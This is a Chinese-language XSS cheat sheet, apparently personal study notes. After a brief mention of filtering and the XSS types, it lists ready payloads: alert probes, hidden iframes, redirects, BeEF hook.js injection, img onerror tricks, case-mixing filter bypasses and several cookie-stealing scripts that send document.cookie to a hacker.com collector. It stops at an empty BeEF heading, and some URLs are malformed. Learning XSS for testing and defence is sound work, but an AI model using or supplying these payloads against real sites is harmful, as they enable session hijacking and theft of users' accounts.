1.对输入的<>/进行处理后，可预防xss攻击
反射型xss: 一般是查询输入框中招，将代有木马参数的url发送给某用户，用户点击后即中招
存储型xss:输入并存储在页面，一般如留言框中招；
domxss:在URL的哈西值部分（即URL#号后的部分）植入xss攻击
2.在输入框中输入：
<script> alert(‘xss’)</script>
出现弹框，显示xss，说明存在xss攻击漏洞，可以进行xss攻击
3.弹框形势有：
<script> alert(‘xss’)</script>
<script> alert(document.cookie)</script>
其中document.cookie可以获取当前浏览器的cookie
4.页面嵌套：
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0></iframe> :这个比上一个更隐蔽，引文边框为0.不易察觉
5.页面重定向：
<script> window.location="http://www/baidu.com"</script>
<script> location.href="http://www/baidu.com"</script>
6.弹框警告并重定向：
<script> alert(‘请移步到我们的新站’)；location.href="http://www/baidu.com"</script>
<script> alert(‘xss’)；location.href="http://www/baidu.com/robots.txt"</script>
7.访问恶意代码：
<script src="http://BeFF_IP:3000/hook.js"></script> :结合BeFFS收集用户的信息
8.巧用图片标签
<img src="#" onerror=alert("xss")> ：#不是有效的图片资源，导致图片加载失败，进而触发了oneerror事件，弹出alert弹框，触发CSS攻击
<img src=“javaScript:alert('xss');">
<img src="http://BeFF_IP:3000/hook.js"></img>
9.绕开过滤的脚本：
大小写 <ScrIpt> alert(‘xss’)</SCRipt>
字符编码 采用url、Base64等编码 <a href="经过编码后的url"></a>
10.收集用户cookie
打开新窗口并且采用本地cookie访问目标网，打开心窗口并且采用本地cookie访问目标网页。
<script> window.open("http://www/hacker.com/cookie.php?cookie="+document.cookie)</script>
<script> window.location="http://www/hacker.com/cookie.php?cookie="+document.cookie</script>
<script> new Image().src="http://www/hacker.com/cookie.php?cookie="+document.cookie;</script>
<img src="http://www/hacker.com/cookie.php?cookie="+document.cookie></img>
<iframe src="http://www/hacker.com/cookie.php?cookie="+document.cookie ></iframe>
<script>new Image().src="http://www/hacker.com/cookie.php?cookie="+document.cookie;
img.width = 0;
img.height = 0;
</script>
11.BeFF xss自动化攻击